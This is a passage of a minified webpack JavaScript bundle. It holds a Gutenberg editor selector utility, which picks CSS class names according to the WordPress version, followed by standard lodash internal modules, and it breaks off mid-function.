\**************************************/ /*! no static exports found */ /***/function gutenbergUtilsSelectorsJs(module,exports,__webpack_require__){"use strict";Object.defineProperty(exports,"__esModule",{value:true});exports.getTemplateEditorIframe=exports.getMotionEffectTrackerContainer=exports.getEditorWritingFlowSelector=exports.getEditorInserterMenuSelector=exports.getContentAreaSelectorList=exports.getContentAreaSelectorByVersion=exports.getContentAreaSelector=void 0;var _map2=_interopRequireDefault(__webpack_require__(/*! lodash/map */"./node_modules/lodash/map.js"));var _isNull2=_interopRequireDefault(__webpack_require__(/*! lodash/isNull */"./node_modules/lodash/isNull.js"));var _isArray2=_interopRequireDefault(__webpack_require__(/*! lodash/isArray */"./node_modules/lodash/isArray.js"));var _includes2=_interopRequireDefault(__webpack_require__(/*! lodash/includes */"./node_modules/lodash/includes.js"));var _get2=_interopRequireDefault(__webpack_require__(/*! lodash/get */"./node_modules/lodash/get.js"));function _interopRequireDefault(obj){return obj&&obj.__esModule?obj:{default:obj};}/** * Get content area selectors list. * * The key is not just WordPress version number. It's the time when this selector is * introduced/used. For example: 5.2 means the selector is introduce on WP 5.2 and it's * still used until WP 5.4 released. We can't use WP version directly because there is * a chance that Gutenberg plugin overrides Gutenberg on WP core. So, we need to check * DOM existence to get the correct condition. * * @since 4.5.2 * * @returns {object} */var getContentAreaSelectorList=function getContentAreaSelectorList(){return{5.5:'interface-interface-skeleton__content',5.4:'block-editor-editor-skeleton__content',5.3:'edit-post-layout__content',5.2:'edit-post-layout__content','gutenberg-7.1':'edit-post-editor-regions__content'};};/** * Get content area selector by WP version. * * It can accept multiple versions (array) as version parameter and return multiple * selectors (string array) at the same time. * * @since 4.5.2 * * @param {string | Array} version * @param {boolean} isDotIncluded * * @returns {string} */exports.getContentAreaSelectorList=getContentAreaSelectorList;var getContentAreaSelectorByVersion=function getContentAreaSelectorByVersion(version,isDotIncluded){if((0,_isArray2.default)(version)){return(0,_map2.default)(version,function(versionValue){return getContentAreaSelectorByVersion(versionValue,isDotIncluded);});}var dotSelector=isDotIncluded?'.':'';var mainSelector=(0,_get2.default)(getContentAreaSelectorList(),version,'');return"".concat(dotSelector).concat(mainSelector);};/** * Get correct selector for Gutenberg's content area window * This tends to change on major release. * * @since 4.5.2 Use getContentAreaSelectorList() as the selectors list source. * * @param {window} gbWindow * @param {bool} includeClassDot * * @returns {string} */exports.getContentAreaSelectorByVersion=getContentAreaSelectorByVersion;var getContentAreaSelector=function getContentAreaSelector(gbWindow){var includeClassDot=arguments.length>1&&arguments[1]!==undefined?arguments[1]:true;var prefix=includeClassDot?'.':'';var selector='';if(!(0,_isNull2.default)(gbWindow.document.querySelector(getContentAreaSelectorByVersion('5.5',true)))){// WordPress' v5.5-beta1 forward selector=getContentAreaSelectorByVersion('5.5');}else if(!(0,_isNull2.default)(gbWindow.document.querySelector(getContentAreaSelectorByVersion('5.4',true)))){// WordPress' v5.4-beta1 forward selector=getContentAreaSelectorByVersion('5.4');}else if(!(0,_isNull2.default)(gbWindow.document.querySelector(getContentAreaSelectorByVersion('gutenberg-7.1',true)))){// Gutenberg plugin (v7.1.x) selector=getContentAreaSelectorByVersion('gutenberg-7.1');}else{// WordPress' v5.2 - v5.3.x. Layout Block doesn't support WP 5.1 below selector=getContentAreaSelectorByVersion('5.2');}return prefix+selector;};/** * Get Editor Writing Flow (wrapper which contains module on current editor) selector. * * @since 4.6.0 * * @param {window} gbWindow * @param {bool} includeClassDot * * @returns {string} */exports.getContentAreaSelector=getContentAreaSelector;var getEditorWritingFlowSelector=function getEditorWritingFlowSelector(){var gbWindow=arguments.length>0&&arguments[0]!==undefined?arguments[0]:window;var includeClassDot=arguments.length>1&&arguments[1]!==undefined?arguments[1]:true;var prefix=includeClassDot?'.':'';// The selector is currently valid on v5.4 below. However this might change on next // version of Gutenberg so better wrap it here and now var selector='block-editor-writing-flow';return prefix+selector;};/** * Get correct selector for Gutenberg's editor inserter menu * This tends to change on major release. * * @since 4.4.2 * * @param {window} gbWindow * @param {bool} includeClassDot */exports.getEditorWritingFlowSelector=getEditorWritingFlowSelector;var getEditorInserterMenuSelector=function getEditorInserterMenuSelector(gbWindow){var includeClassDot=arguments.length>1&&arguments[1]!==undefined?arguments[1]:true;var contentAreaSelector=getContentAreaSelector(gbWindow,false);var prefix=includeClassDot?'.':'';var selector='';if((0,_includes2.default)(getContentAreaSelectorByVersion(['5.4','5.5']),contentAreaSelector)){// WordPress' v5.4-beta1 forward selector='block-editor-inserter__menu';}else{// WordPress' v5.2 - v5.3.x. Layout Block doesn't support WP 5.1 below selector='editor-inserter__menu';}return prefix+selector;};/** * Get correct selector for placing motion effect's tracker container. * * @param {window} gbWindow * @param {bool} includeClassDot */exports.getEditorInserterMenuSelector=getEditorInserterMenuSelector;var getMotionEffectTrackerContainer=function getMotionEffectTrackerContainer(gbWindow){var includeClassDot=arguments.length>1&&arguments[1]!==undefined?arguments[1]:true;var contentAreaSelector=getContentAreaSelector(gbWindow,false);var prefix=includeClassDot?'.':'';var selector='';if('block-editor-editor-skeleton__content'===contentAreaSelector){// WordPress' v5.4-beta1 forward selector='block-editor-writing-flow';}else{// WordPress' v5.2 - v5.3.x. Layout Block doesn't support WP 5.1 below selector=contentAreaSelector;}return prefix+selector;};/** * Get template editor iframe. * * @since 4.9.8 * * @param {window} gbWindow */exports.getMotionEffectTrackerContainer=getMotionEffectTrackerContainer;var getTemplateEditorIframe=function getTemplateEditorIframe(gbWindow){return gbWindow.jQuery('iframe[name="editor-canvas"]').contents();};exports.getTemplateEditorIframe=getTemplateEditorIframe;/***/},/***/"./node_modules/lodash/_DataView.js":/*!******************************************!*\ !*** ./node_modules/lodash/_DataView.js ***! \******************************************/ /*! no static exports found */ /***/function node_modulesLodash_DataViewJs(module,exports,__webpack_require__){var getNative=__webpack_require__(/*! ./_getNative */"./node_modules/lodash/_getNative.js"),root=__webpack_require__(/*! ./_root */"./node_modules/lodash/_root.js");/* Built-in method references that are verified to be native. */var DataView=getNative(root,'DataView');module.exports=DataView;/***/},/***/"./node_modules/lodash/_Hash.js":/*!**************************************!*\ !*** ./node_modules/lodash/_Hash.js ***! \**************************************/ /*! no static exports found */ /***/function node_modulesLodash_HashJs(module,exports,__webpack_require__){var hashClear=__webpack_require__(/*! ./_hashClear */"./node_modules/lodash/_hashClear.js"),hashDelete=__webpack_require__(/*! ./_hashDelete */"./node_modules/lodash/_hashDelete.js"),hashGet=__webpack_require__(/*! ./_hashGet */"./node_modules/lodash/_hashGet.js"),hashHas=__webpack_require__(/*! ./_hashHas */"./node_modules/lodash/_hashHas.js"),hashSet=__webpack_require__(/*! ./_hashSet */"./node_modules/lodash/_hashSet.js");/** * Creates a hash object. * * @private * @constructor * @param {Array} [entries] The key-value pairs to cache. */function Hash(entries){var index=-1,length=entries==null?0:entries.length;this.clear();while(++index<length){var entry=entries[index];this.set(entry[0],entry[1]);}}// Add methods to `Hash`. Hash.prototype.clear=hashClear;Hash.prototype['delete']=hashDelete;Hash.prototype.get=hashGet;Hash.prototype.has=hashHas;Hash.prototype.set=hashSet;module.exports=Hash;/***/},/***/"./node_modules/lodash/_ListCache.js":/*!*******************************************!*\ !*** ./node_modules/lodash/_ListCache.js ***! \*******************************************/ /*! no static exports found */ /***/function node_modulesLodash_ListCacheJs(module,exports,__webpack_require__){var listCacheClear=__webpack_require__(/*! ./_listCacheClear */"./node_modules/lodash/_listCacheClear.js"),listCacheDelete=__webpack_require__(/*! ./_listCacheDelete */"./node_modules/lodash/_listCacheDelete.js"),listCacheGet=__webpack_require__(/*! ./_listCacheGet */"./node_modules/lodash/_listCacheGet.js"),listCacheHas=__webpack_require__(/*! ./_listCacheHas */"./node_modules/lodash/_listCacheHas.js"),listCacheSet=__webpack_require__(/*! ./_listCacheSet */"./node_modules/lodash/_listCacheSet.js");/** * Creates an list cache object. * * @private * @constructor * @param {Array} [entries] The key-value pairs to cache. */function ListCache(entries){var index=-1,length=entries==null?0:entries.length;this.clear();while(++index<length){var entry=entries[index];this.set(entry[0],entry[1]);}}// Add methods to `ListCache`. ListCache.prototype.clear=listCacheClear;ListCache.prototype['delete']=listCacheDelete;ListCache.prototype.get=listCacheGet;ListCache.prototype.has=listCacheHas;ListCache.prototype.set=listCacheSet;module.exports=ListCache;/***/},/***/"./node_modules/lodash/_Map.js":/*!*************************************!*\ !*** ./node_modules/lodash/_Map.js ***! \*************************************/ /*! no static exports found */ /***/function node_modulesLodash_MapJs(module,exports,__webpack_require__){var getNative=__webpack_require__(/*! ./_getNative */"./node_modules/lodash/_getNative.js"),root=__webpack_require__(/*! ./_root */"./node_modules/lodash/_root.js");/* Built-in method references that are verified to be native. */var Map=getNative(root,'Map');module.exports=Map;/***/},/***/"./node_modules/lodash/_MapCache.js":/*!******************************************!*\ !*** ./node_modules/lodash/_MapCache.js ***! \******************************************/ /*! no static exports found */ /***/function node_modulesLodash_MapCacheJs(module,exports,__webpack_require__){var mapCacheClear=__webpack_require__(/*! ./_mapCacheClear */"./node_modules/lodash/_mapCacheClear.js"),mapCacheDelete=__webpack_require__(/*! ./_mapCacheDelete */"./node_modules/lodash/_mapCacheDelete.js"),mapCacheGet=__webpack_require__(/*! ./_mapCacheGet */"./node_modules/lodash/_mapCacheGet.js"),mapCacheHas=__webpack_require__(/*! ./_mapCacheHas */"./node_modules/lodash/_mapCacheHas.js"),mapCacheSet=__webpack_require__(/*! ./_mapCacheSet */"./node_modules/lodash/_mapCacheSet.js");/** * Creates a map cache object to store key-value pairs. * * @private * @constructor * @param {Array} [entries] The key-value pairs to cache. */function MapCache(entries){var index=-1,length=entries==null?0:entries.length;this.clear();while(++index<length){var entry=entries[index];this.set(entry[0],entry[1]);}}// Add methods to `MapCache`. MapCache.prototype.clear=mapCacheClear;MapCache.prototype['delete']=mapCacheDelete;MapCache.prototype.get=mapCacheGet;MapCache.prototype.has=mapCacheHas;MapCache.prototype.set=mapCacheSet;module.exports=MapCache;/***/},/***/"./node_modules/lodash/_Promise.js":/*!*****************************************!*\ !*** ./node_modules/lodash/_Promise.js ***! \*****************************************/ /*! no static exports found */ /***/function node_modulesLodash_PromiseJs(module,exports,__webpack_require__){var getNative=__webpack_require__(/*! ./_getNative */"./node_modules/lodash/_getNative.js"),root=__webpack_require__(/*! ./_root */"./node_modules/lodash/_root.js");/* Built-in method references that are verified to be native. */var Promise=getNative(root,'Promise');module.exports=Promise;/***/},/***/"./node_modules/lodash/_Set.js":/*!*************************************!*\ !*** ./node_modules/lodash/_Set.js ***! \*************************************/ /*! no static exports found */ /***/function node_modulesLodash_SetJs(module,exports,__webpack_require__){var getNative=__webpack_require__(/*! ./_getNative */"./node_modules/lodash/_getNative.js"),root=__webpack_require__(/*! ./_root */"./node_modules/lodash/_root.js");/* Built-in method references that are verified to be native. */var Set=getNative(root,'Set');module.exports=Set;/***/},/***/"./node_modules/lodash/_SetCache.js":/*!******************************************!*\ !*** ./node_modules/lodash/_SetCache.js ***! \******************************************/ /*! no static exports found */ /***/function node_modulesLodash_SetCacheJs(module,exports,__webpack_require__){var MapCache=__webpack_require__(/*! ./_MapCache */"./node_modules/lodash/_MapCache.js"),setCacheAdd=__webpack_require__(/*! ./_setCacheAdd */"./node_modules/lodash/_setCacheAdd.js"),setCacheHas=__webpack_require__(/*! ./_setCacheHas */"./node_modules/lodash/_setCacheHas.js");/** * * Creates an array cache object to store unique values. * * @private * @constructor * @param {Array} [values] The values to cache. */function SetCache(values){var index=-1,length=values==null?0:values.length;this.__data__=new MapCache();while(++index<length){this.add(values[index]);}}// Add methods to `SetCache`. SetCache.prototype.add=SetCache.prototype.push=setCacheAdd;SetCache.prototype.has=setCacheHas;module.exports=SetCache;/***/},/***/"./node_modules/lodash/_Stack.js":/*!***************************************!*\ !*** ./node_modules/lodash/_Stack.js ***! \***************************************/ /*! no static exports found */ /***/function node_modulesLodash_StackJs(module,exports,__webpack_require__){var ListCache=__webpack_require__(/*! ./_ListCache */"./node_modules/lodash/_ListCache.js"),stackClear=__webpack_require__(/*! ./_stackClear */"./node_modules/lodash/_stackClear.js"),stackDelete=__webpack_require__(/*! ./_stackDelete */"./node_modules/lodash/_stackDelete.js"),stackGet=__webpack_require__(/*! ./_stackGet */"./node_modules/lodash/_stackGet.js"),stackHas=__webpack_require__(/*! ./_stackHas */"./node_modules/lodash/_stackHas.js"),stackSet=__webpack_require__(/*! ./_stackSet */"./node_modules/lodash/_stackSet.js");/** * Creates a stack cache object to store key-value pairs. * * @private * @constructor * @param {Array} [entries] The key-value pairs to cache. */function Stack(entries){var data=this.__data__=new ListCache(entries);this.size=data.size;}// Add methods to `Stack`. Stack.prototype.clear=stackClear;Stack.prototype['delete']=stackDelete;Stack.prototype.get=stackGet;Stack.prototype.has=stackHas;Stack.prototype.set=stackSet;module.exports=Stack;/***/},/***/"./node_modules/lodash/_Symbol.js":/*!****************************************!*\ !*** ./node_modules/lodash/_Symbol.js ***! \****************************************/ /*! no static exports found */ /***/function node_modulesLodash_SymbolJs(module,exports,__webpack_require__){var root=__webpack_require__(/*! ./_root */"./node_modules/lodash/_root.js");/** Built-in value references. */var _Symbol=root.Symbol;module.exports=_Symbol;/***/},/***/"./node_modules/lodash/_Uint8Array.js":/*!********************************************!*\ !*** ./node_modules/lodash/_Uint8Array.js ***! \********************************************/ /*! no static exports found */ /***/function node_modulesLodash_Uint8ArrayJs(module,exports,__webpack_require__){var root=__webpack_require__(/*! ./_root */"./node_modules/lodash/_root.js");/** Built-in value references. */var Uint8Array=root.Uint8Array;module.exports=Uint8Array;/***/},/***/"./node_modules/lodash/_WeakMap.js":/*!*****************************************!*\ !*** ./node_modules/lodash/_WeakMap.js ***! \*****************************************/ /*! no static exports found */ /***/function node_modulesLodash_WeakMapJs(module,exports,__webpack_require__){var getNative=__webpack_require__(/*! ./_getNative */"./node_modules/lodash/_getNative.js"),root=__webpack_require__(/*! ./_root */"./node_modules/lodash/_root.js");/* Built-in method references that are verified to be native. */var WeakMap=getNative(root,'WeakMap');module.exports=WeakMap;/***/},/***/"./node_modules/lodash/_arrayFilter.js":/*!*********************************************!*\ !*** ./node_modules/lodash/_arrayFilter.js ***! \*********************************************/ /*! no static exports found */ /***/function node_modulesLodash_arrayFilterJs(module,exports){/** * A specialized version of `_.filter` for arrays without support for * iteratee shorthands. * * @private * @param {Array} [array] The array to iterate over. * @param {Function} predicate The function invoked per iteration. * @returns {Array} Returns the new filtered array. */function arrayFilter(array,predicate){var index=-1,length=array==null?0:array.length,resIndex=0,result=[];while(++index<length){var value=array[index];if(predicate(value,index,array)){result[resIndex++]=value;}}return result;}module.exports=arrayFilter;/***/},/***/"./node_modules/lodash/_arrayLikeKeys.js":/*!***********************************************!*\ !*** ./node_modules/lodash/_arrayLikeKeys.js ***! \***********************************************/ /*! no static exports found */ /***/function node_modulesLodash_arrayLikeKeysJs(module,exports,__webpack_require__){var baseTimes=__webpack_require__(/*! ./_baseTimes */"./node_modules/lodash/_baseTimes.js"),isArguments=__webpack_require__(/*! ./isArguments */"./node_modules/lodash/isArguments.js"),isArray=__webpack_require__(/*! ./isArray */"./node_modules/lodash/isArray.js"),isBuffer=__webpack_require__(/*! ./isBuffer */"./node_modules/lodash/isBuffer.js"),isIndex=__webpack_require__(/*! ./_isIndex */"./node_modules/lodash/_isIndex.js"),isTypedArray=__webpack_require__(/*! ./isTypedArray */"./node_modules/lodash/isTypedArray.js");/** Used for built-in method references. */var objectProto=Object.prototype;/** Used to check objects for own properties. */var hasOwnProperty=objectProto.hasOwnProperty;/** * Creates an array of the enumerable property names of the array-like `value`. * * @private * @param {*} value The value to query. * @param {boolean} inherited Specify returning inherited property names. * @returns {Array} Returns the array of property names. */function arrayLikeKeys(value,inherited){var isArr=isArray(value),isArg=!isArr&&isArguments(value),isBuff=!isArr&&!isArg&&isBuffer(value),isType=!isArr&&!isArg&&!isBuff&&isTypedArray(value),skipIndexes=isArr||isArg||isBuff||isType,result=skipIndexes?baseTimes(value.length,String):[],length=result.length;for(var key in value){if((inherited||hasOwnProperty.call(value,key))&&!(skipIndexes&&(// Safari 9 has enumerable `arguments.length` in strict mode. key=='length'||// Node.js 0.10 has enumerable non-index properties on buffers. isBuff&&(key=='offset'||key=='parent')||// PhantomJS 2 has enumerable non-index properties on typed arrays. isType&&(key=='buffer'||key=='byteLength'||key=='byteOffset')||// Skip index properties. isIndex(key,length)))){result.push(key);}}return result;}module.exports=arrayLikeKeys;/***/},/***/"./node_modules/lodash/_arrayMap.js":/*!******************************************!*\ !*** ./node_modules/lodash/_arrayMap.js ***! \******************************************/ /*! no static exports found */ /***/function node_modulesLodash_arrayMapJs(module,exports){/** * A specialized version of `_.map` for arrays without support for iteratee * shorthands. * * @private * @param {Array} [array] The array to iterate over. * @param {Function} iteratee The function invoked per iteration. * @returns {Array} Returns the new mapped array. */function arrayMap(array,iteratee){var index=-1,length=array==null?0:array.length,result=Array(length);while(++index<length){result[index]=iteratee(array[index],index,array);}return result;}module.exports=arrayMap;/***/},/***/"./node_modules/lodash/_arrayPush.js":/*!*******************************************!*\ !*** ./node_modules/lodash/_arrayPush.js ***! \*******************************************/ /*! no static exports found */ /***/function node_modulesLodash_arrayPushJs(module,exports){/** * Appends the elements of `values` to `array`. * * @private * @param {Array} array The array to modify. * @param {Array} values The values to append. * @returns {Array} Returns `array`. */function arrayPush(array,values){var index=-1,length=values.length,offset=array.length;while(++index<length){array[offset+index]=values[index];}return array;}module.exports=arrayPush;/***/},/***/"./node_modules/lodash/_arraySome.js":/*!*******************************************!*\ !*** ./node_modules/lodash/_arraySome.js ***! \*******************************************/ /*! no static exports found */ /***/function node_modulesLodash_arraySomeJs(module,exports){/** * A specialized version of `_.some` for arrays without support for iteratee * shorthands. * * @private * @param {Array} [array] The array to iterate over. * @param {Function} predicate The function invoked per iteration. * @returns {boolean} Returns `true` if any element passes the predicate check, * else `false`. */function arraySome(array,predicate){var index=-1,length=array==null?0:array.length;while(++index<length){if(predicate(array[index],index,array)){return true;}}return false;}module.exports=arraySome;/***/},/***/"./node_modules/lodash/_assocIndexOf.js":/*!**********************************************!*\ !*** ./node_modules/lodash/_assocIndexOf.js ***! \**********************************************/ /*! no static exports found */ /***/function node_modulesLodash_assocIndexOfJs(module,exports,__webpack_require__){var eq=__webpack_require__(/*! ./eq */"./node_modules/lodash/eq.js");/** * Gets the index at which the `key` is found in `array` of key-value pairs. * * @private * @param {Array} array The array to inspect. * @param {*} key The key to search for. * @returns {number} Returns the index of the matched value, else `-1`. */function assocIndexOf(array,key){var length=array.length;while(length--){if(eq(array[length][0],key)){return length;}}return-1;}module.exports=assocIndexOf;/***/},/***/"./node_modules/lodash/_baseEach.js":/*!******************************************!*\ !*** ./node_modules/lodash/_baseEach.js ***! \******************************************/ /*! no static exports found */ /***/function node_modulesLodash_baseEachJs(module,exports,__webpack_require__){var baseForOwn=__webpack_require__(/*! ./_baseForOwn */"./node_modules/lodash/_baseForOwn.js"),createBaseEach=__webpack_require__(/*! ./_createBaseEach */"./node_modules/lodash/_createBaseEach.js");/** * The base implementation of `_.forEach` without support for iteratee shorthands. * * @private * @param {Array|Object} collection The collection to iterate over. * @param {Function} iteratee The function invoked per iteration. * @returns {Array|Object} Returns `collection`. */var baseEach=createBaseEach(baseForOwn);module.exports=baseEach;/***/},/***/"./node_modules/lodash/_baseFindIndex.js":/*!***********************************************!*\ !*** ./node_modules/lodash/_baseFindIndex.js ***! \***********************************************/ /*! no static exports found */ /***/function node_modulesLodash_baseFindIndexJs(module,exports){/** * The base implementation of `_.findIndex` and `_.findLastIndex` without * support for iteratee shorthands. * * @private * @param {Array} array The array to inspect. * @param {Function} predicate The function invoked per iteration. * @param {number} fromIndex The index to search from. * @param {boolean} [fromRight] Specify iterating from right to left. * @returns {number} Returns the index of the matched value, else `-1`. */function baseFindIndex(array,predicate,fromIndex,fromRight){var length=array.length,index=fromIndex+(fromRight?1:-1);while(fromRight?index--:++index<length){if(predicate(array[index],index,array)){return index;}}return-1;}module.exports=baseFindIndex;/***/},/***/"./node_modules/lodash/_baseFor.js":/*!*****************************************!*\ !*** ./node_modules/lodash/_baseFor.js ***! \*****************************************/ /*! no static exports found */ /***/function node_modulesLodash_baseForJs(module,exports,__webpack_require__){var createBaseFor=__webpack_require__(/*! ./_createBaseFor */"./node_modules/lodash/_createBaseFor.js");/** * The base implementation of `baseForOwn` which iterates over `object` * properties returned by `keysFunc` and invokes `iteratee` for each property. * Iteratee functions may exit iteration early by explicitly returning `false`. * * @private * @param {Object} object The object to iterate over. * @param {Function} iteratee The function invoked per iteration. * @param {Function} keysFunc The function to get the keys of `object`. * @returns {Object} Returns `object`. */var baseFor=createBaseFor();module.exports=baseFor;/***/},/***/"./node_modules/lodash/_baseForOwn.js":/*!********************************************!*\ !*** ./node_modules/lodash/_baseForOwn.js ***! \********************************************/ /*! no static exports found */ /***/function node_modulesLodash_baseForOwnJs(module,exports,__webpack_require__){var baseFor=__webpack_require__(/*! ./_baseFor */"./node_modules/lodash/_baseFor.js"),keys=__webpack_require__(/*! ./keys */"./node_modules/lodash/keys.js");/** * The base implementation of `_.forOwn` without support for iteratee shorthands. * * @private * @param {Object} object The object to iterate over. * @param {Function} iteratee The function invoked per iteration. * @returns {Object} Returns `object`. */function baseForOwn(object,iteratee){return object&&baseFor(object,iteratee,keys);}module.exports=baseForOwn;/***/},/***/"./node_modules/lodash/_baseGet.js":/*!*****************************************!*\ !*** ./node_modules/lodash/_baseGet.js ***! \*****************************************/ /*! no static exports found */ /***/function node_modulesLodash_baseGetJs(module,exports,__webpack_require__){var castPath=__webpack_require__(/*! ./_castPath */"./node_modules/lodash/_castPath.js"),toKey=__webpack_require__(/*! ./_toKey */"./node_modules/lodash/_toKey.js");/** * The base implementation of `_.get` without support for default values. * * @private * @param {Object} object The object to query. * @param {Array|string} path The path of the property to get. * @returns {*} Returns the resolved value. */function baseGet(object,path){path=castPath(path,object);var index=0,length=path.length;while(object!=null&&index<length){object=object[toKey(path[index++])];}return index&&index==length?object:undefined;}module.exports=baseGet;/***/},/***/"./node_modules/lodash/_baseGetAllKeys.js":/*!************************************************!*\ !*** ./node_modules/lodash/_baseGetAllKeys.js ***! \************************************************/ /*! no static exports found */ /***/function node_modulesLodash_baseGetAllKeysJs(module,exports,__webpack_require__){var arrayPush=__webpack_require__(/*! ./_arrayPush */"./node_modules/lodash/_arrayPush.js"),isArray=__webpack_require__(/*! ./isArray */"./node_modules/lodash/isArray.js");/** * The base implementation of `getAllKeys` and `getAllKeysIn` which uses * `keysFunc` and `symbolsFunc` to get the enumerable property names and * symbols of `object`. * * @private * @param {Object} object The object to query. * @param {Function} keysFunc The function to get the keys of `object`. * @param {Function} symbolsFunc The function to get the symbols of `object`. * @returns {Array} Returns the array of property names and symbols. */function baseGetAllKeys(object,keysFunc,symbolsFunc){var result=keysFunc(object);return isArray(object)?result:arrayPush(result,symbolsFunc(object));}module.exports=baseGetAllKeys;/***/},/***/"./node_modules/lodash/_baseGetTag.js":/*!********************************************!*\ !*** ./node_modules/lodash/_baseGetTag.js ***! \********************************************/ /*! no static exports found */ /***/function node_modulesLodash_baseGetTagJs(module,exports,__webpack_require__){var _Symbol2=__webpack_require__(/*! ./_Symbol */"./node_modules/lodash/_Symbol.js"),getRawTag=__webpack_require__(/*! ./_getRawTag */"./node_modules/lodash/_getRawTag.js"),objectToString=__webpack_require__(/*! ./_objectToString */"./node_modules/lodash/_objectToString.js");/** `Object#toString` result references. */var nullTag='[object Null]',undefinedTag='[object Undefined]';/** Built-in value references. */var symToStringTag=_Symbol2?_Symbol2.toStringTag:undefined;/** * The base implementation of `getTag` without fallbacks for buggy environments. * * @private * @param {*} value The value to query. * @returns {string} Returns the `toStringTag`. */function baseGetTag(value){if(value==null){return value===undefined?undefinedTag:nullTag;}return symToStringTag&&symToStringTag in Object(value)?getRawTag(value):objectToString(value);}module.exports=baseGetTag;/***/},/***/"./node_modules/lodash/_baseHasIn.js":/*!*******************************************!*\ !*** ./node_modules/lodash/_baseHasIn.js ***! \*******************************************/ /*! no static exports found */ /***/function node_modulesLodash_baseHasInJs(module,exports){/** * The base implementation of `_.hasIn` without support for deep paths. * * @private * @param {Object} [object] The object to query. * @param {Array|string} key The key to check. * @returns {boolean} Returns `true` if `key` exists, else `false`. */function baseHasIn(object,key){return object!=null&&key in Object(object);}module.exports=baseHasIn;/***/},/***/"./node_modules/lodash/_baseIndexOf.js":/*!*********************************************!*\ !*** ./node_modules/lodash/_baseIndexOf.js ***! \*********************************************/ /*! no static exports found */ /***/function node_modulesLodash_baseIndexOfJs(module,exports,__webpack_require__){var baseFindIndex=__webpack_require__(/*! ./_baseFindIndex */"./node_modules/lodash/_baseFindIndex.js"),baseIsNaN=__webpack_require__(/*! ./_baseIsNaN */"./node_modules/lodash/_baseIsNaN.js"),strictIndexOf=__webpack_require__(/*! ./_strictIndexOf */"./node_modules/lodash/_strictIndexOf.js");/** * The base implementation of `_.indexOf` without `fromIndex` bounds checks. * * @private * @param {Array} array The array to inspect. * @param {*} value The value to search for. * @param {number} fromIndex The index to search from. * @returns {number} Returns the index of the matched value, else `-1`. */function baseIndexOf(array,value,fromIndex){return value===value?strictIndexOf(array,value,fromIndex):baseFindIndex(array,baseIsNaN,fromIndex);}module.exports=baseIndexOf;/***/},/***/"./node_modules/lodash/_baseIsArguments.js":/*!*************************************************!*\ !*** ./node_modules/lodash/_baseIsArguments.js ***! \*************************************************/ /*! no static exports found */ /***/function node_modulesLodash_baseIsArgumentsJs(module,exports,__webpack_require__){var baseGetTag=__webpack_require__(/*! ./_baseGetTag */"./node_modules/lodash/_baseGetTag.js"),isObjectLike=__webpack_require__(/*! ./isObjectLike */"./node_modules/lodash/isObjectLike.js");/** `Object#toString` result references. */var argsTag='[object Arguments]';/** * The base implementation of `_.isArguments`. * * @private * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is an `arguments` object, */function baseIsArguments(value){return isObjectLike(value)&&baseGetTag(value)==argsTag;}module.exports=baseIsArguments;/***/},/***/"./node_modules/lodash/_baseIsEqual.js":/*!*********************************************!*\ !*** ./node_modules/lodash/_baseIsEqual.js ***! \*********************************************/ /*! no static exports found */ /***/function node_modulesLodash_baseIsEqualJs(module,exports,__webpack_require__){var baseIsEqualDeep=__webpack_require__(/*! ./_baseIsEqualDeep */"./node_modules/lodash/_baseIsEqualDeep.js"),isObjectLike=__webpack_require__(/*! ./isObjectLike */"./node_modules/lodash/isObjectLike.js");/** * The base implementation of `_.isEqual` which supports partial comparisons * and tracks traversed objects. * * @private * @param {*} value The value to compare. * @param {*} other The other value to compare. * @param {boolean} bitmask The bitmask flags. * 1 - Unordered comparison * 2 - Partial comparison * @param {Function} [customizer] The function to customize comparisons. * @param {Object} [stack] Tracks traversed `value` and `other` objects. * @returns {boolean} Returns `true` if the values are equivalent, else `false`. */function baseIsEqual(value,other,bitmask,customizer,stack){if(value===other){return true;}if(value==null||other==null||!isObjectLike(value)&&!isObjectLike(other)){return value!==value&&other!==other;}return baseIsEqualDeep(value,other,bitmask,customizer,baseIsEqual,stack);}module.exports=baseIsEqual;/***/},/***/"./node_modules/lodash/_baseIsEqualDeep.js":/*!*************************************************!*\ !*** ./node_modules/lodash/_baseIsEqualDeep.js ***! \*************************************************/ /*! no static exports found */ /***/function node_modulesLodash_baseIsEqualDeepJs(module,exports,__webpack_require__){var Stack=__webpack_require__(/*! ./_Stack */"./node_modules/lodash/_Stack.js"),equalArrays=__webpack_require__(/*! ./_equalArrays */"./node_modules/lodash/_equalArrays.js"),equalByTag=__webpack_require__(/*! ./_equalByTag */"./node_modules/lodash/_equalByTag.js"),equalObjects=__webpack_require__(/*! ./_equalObjects */"./node_modules/lodash/_equalObjects.js"),getTag=__webpack_require__(/*! ./_getTag */"./node_modules/lodash/_getTag.js"),isArray=__webpack_require__(/*! ./isArray */"./node_modules/lodash/isArray.js"),isBuffer=__webpack_require__(/*! ./isBuffer */"./node_modules/lodash/isBuffer.js"),isTypedArray=__webpack_require__(/*! ./isTypedArray */"./node_modules/lodash/isTypedArray.js");/** Used to compose bitmasks for value comparisons. */var COMPARE_PARTIAL_FLAG=1;/** `Object#toString` result references. */var argsTag='[object Arguments]',arrayTag='[object Array]',objectTag='[object Object]';/** Used for built-in method references. */var objectProto=Object.prototype;/** Used to check objects for own properties. */var hasOwnProperty=objectProto.hasOwnProperty;/** * A specialized version of `baseIsEqual` for arrays and objects which performs * deep comparisons and tracks traversed objects enabling objects with circular * references to be compared. * * @private * @param {Object} object The object to compare. * @param {Object} other The other object to compare. * @param {number} bitmask The bitmask flags. See `baseIsEqual` for more details. * @param {Function} customizer The function to customize comparisons. * @param {Function} equalFunc The function to determine equivalents of values. * @param {Object} [stack] Tracks traversed `object` and `other` objects. * @returns {boolean} Returns `true` if the objects are equivalent, else `false`. */function baseIsEqualDeep(object,other,bitmask,customizer,equalFunc,stack){var objIsArr=isArray(object),othIsArr=isArray(other),objTag=objIsArr?arrayTag:getTag(object),othTag=othIsArr?arrayTag:getTag(other);objTag=objTag==argsTag?objectTag:objTag;othTag=othTag==argsTag?objectTag:othTag;var objIsObj=objTag==objectTag,othIsObj=othTag==objectTag,isSameTag=objTag==othTag;if(isSameTag&&isBuffer(object)){if(!isBuffer(other)){return false;}objIsArr=true;objIsObj=false;}if(isSameTag&&!objIsObj){stack||(stack=new Stack());return objIsArr||isTypedArray(object)?equalArrays(object,other,bitmask,customizer,equalFunc,stack):equalByTag(object,other,objTag,bitmask,customizer,equalFunc,stack);}if(!(bitmask&COMPARE_PARTIAL_FLAG)){var objIsWrapped=objIsObj&&hasOwnProperty.call(object,'__wrapped__'),othIsWrapped=othIsObj&&hasOwnProperty.call(other,'__wrapped__');if(objIsWrapped||othIsWrapped){var 